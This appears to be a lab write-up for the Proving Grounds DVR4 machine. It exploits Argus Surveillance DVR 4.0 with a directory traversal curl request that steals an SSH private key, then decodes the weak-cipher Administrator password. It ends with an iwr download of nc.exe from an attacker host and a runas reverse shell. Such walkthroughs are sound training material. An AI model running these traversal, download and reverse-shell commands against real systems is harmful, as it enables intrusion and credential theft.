Skip to content
HackIndex.io

DVR4 Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

The Husky Hacker

sysadmin

DVR4 runs Argus Surveillance DVR 4.0, which has an unauthenticated directory traversal in its web controller. Guessing the SSH key path for a known user leaks it through that traversal for an initial shell, and the same bug then exposes the Administrator's password, encoded with the application's own weak cipher. Decoding it and reusing it with runas gives an Administrator shell.

Reconnaissance

Nmap

Scan the target.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC $TARGET_IP 
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        Bitvise WinSSHD 8.48
8080/tcp open  http-proxy
|_http-title: Argus Surveillance DVR

SSH and a web controller for Argus Surveillance DVR. The About page confirms version 4.0. Search Exploit-DB for known issues.

┌──(kali㉿kali)-[~]
└─$ searchsploit Argus Surveillance DVR 4.0 
Argus Surveillance DVR 4.0 - Unquoted Service Path        | windows/local/50261.txt
Argus Surveillance DVR 4.0 - Weak Password Encryption     | windows/local/50130.py
Argus Surveillance DVR 4.0.0.0 - Directory Traversal      | windows_x86/webapps/45296.txt
Argus Surveillance DVR 4.0.0.0 - Privilege Escalation     | windows_x86/local/45312.c

The directory traversal is the best path to a shell. It reads arbitrary files via a ..%2F sequence in the WEBACCOUNT.CGI RESULTPAGE parameter. Confirm it against system.ini.

Exploitation

Directory traversal (EDB-45296)

Read a known system file first.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini" 
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
[drivers]
wave=mmdrv.dll
timer=timer.drv

The traversal works. The DVR's web interface lists its own user accounts, so check the Users page for a local Windows account to target.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:8080/Users.html" 
Administrator
Viewer

Administrator and Viewer are listed. If Viewer is also a Windows account, its SSH key may sit in the default location. Pull it through the same traversal.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2F%2Essh%2Fid_rsa" > id_rsa
┌──(kali㉿kali)-[~]
└─$ head id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
<snip>
-----END OPENSSH PRIVATE KEY-----

Fix the key's permissions and log in over SSH.

┌──(kali㉿kali)-[~]
└─$ chmod 600 id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa viewer@$TARGET_IP 
C:\Users\viewer>whoami
dvr4\viewer

Shell as viewer. Dig into the Argus configuration for anything useful toward Administrator.

Privilege Escalation

Decoding the Administrator password

The DVR configuration file holds every account's settings, including an encoded password.

PS C:\Users\Guest\Desktop> type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini" 
[Users]
LocalUsersCount=2
UserID0=434499
LoginName0=Administrator
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8

This is not a standard hash format. The Weak Password Encryption exploit (EDB-50130) documents the DVR's custom substitution cipher: it maps fixed 4-character chunks to single plaintext characters. Swap in the Administrator hash and run it.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 50130
┌──(kali㉿kali)-[~]
└─$ python3 50130.py 
[+] ECB4:1
[+] 53D1:4
[+] 6069:W
[+] F641:a
[+] E03B:t
[+] D9BD:c
[+] 956B:h
[+] FE36:D
[+] BD8F:0
[+] 3CD9:g
[-] D9A8:Unknown

Every chunk decodes except the last, which must be a special character outside the script's table. The web UI exposes the same encoding: creating a test account with a known password and reading its encoded value back from the config reveals what each symbol maps to. Add a new user with the password !@#$%^&*() through the New User button on the Users page, then read the config again.

PS C:\Users\Guest\Desktop> type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini" 
LoginName2=kali
Password2=B39878A7

Only two characters encoded this time, so testing single-character passwords one at a time narrows it down: ! is B398, @ is 78A7, and $ is D9A8, matching the unknown chunk. The full Administrator password decodes to $ADMINISTRATOR_PASSWORD. Direct SSH login as Administrator is blocked.

┌──(kali㉿kali)-[~]
└─$ ssh administrator@$TARGET_IP 
administrator@$TARGET_IP's password:
Permission denied, please try again.

runas can still use the password to spawn a process as Administrator. Upload a netcat binary first.

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/windows-binaries/nc.exe .
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 ...
PS C:\Users\Guest\Desktop> mkdir C:\temp
PS C:\Users\Guest\Desktop> powershell.exe -c "iwr http://$ATTACKER_IP/nc.exe -OutFile C:\temp\nc.exe"

Start a listener, then use runas with the decoded Administrator password to spawn a reverse shell.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...
PS C:\Users\Guest\Desktop> runas /env /profile /user:DVR4\Administrator "C:\temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" 
Enter the password for DVR4\Administrator:
Attempting to start C:\temp\nc.exe ...

The listener catches the callback.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 56706
C:\Users\viewer>whoami
dvr4\administrator

Administrator access on the target.

Related

Directory Traversal
Blog

Directory Traversal

Exploit path traversal vulnerabilities in web apps to access files outside the webroot using encoded...
SSH Private Key Discovery and Passphrase Cracking
Blog

SSH Private Key Discovery and Passphrase Cracking

Locate SSH private keys on compromised hosts, extract them, and crack passphrases offline using John...
Runas Stored Credentials Privilege Escalation
Blog

Runas Stored Credentials Privilege Escalation

Exploit Windows `runas /savecred` stored credentials to execute commands as another user without kno...
Information Disclosure Checks
Blog

Information Disclosure Checks

Identifies unintended data exposure via HTTP responses, headers, error messages, and server banners...

References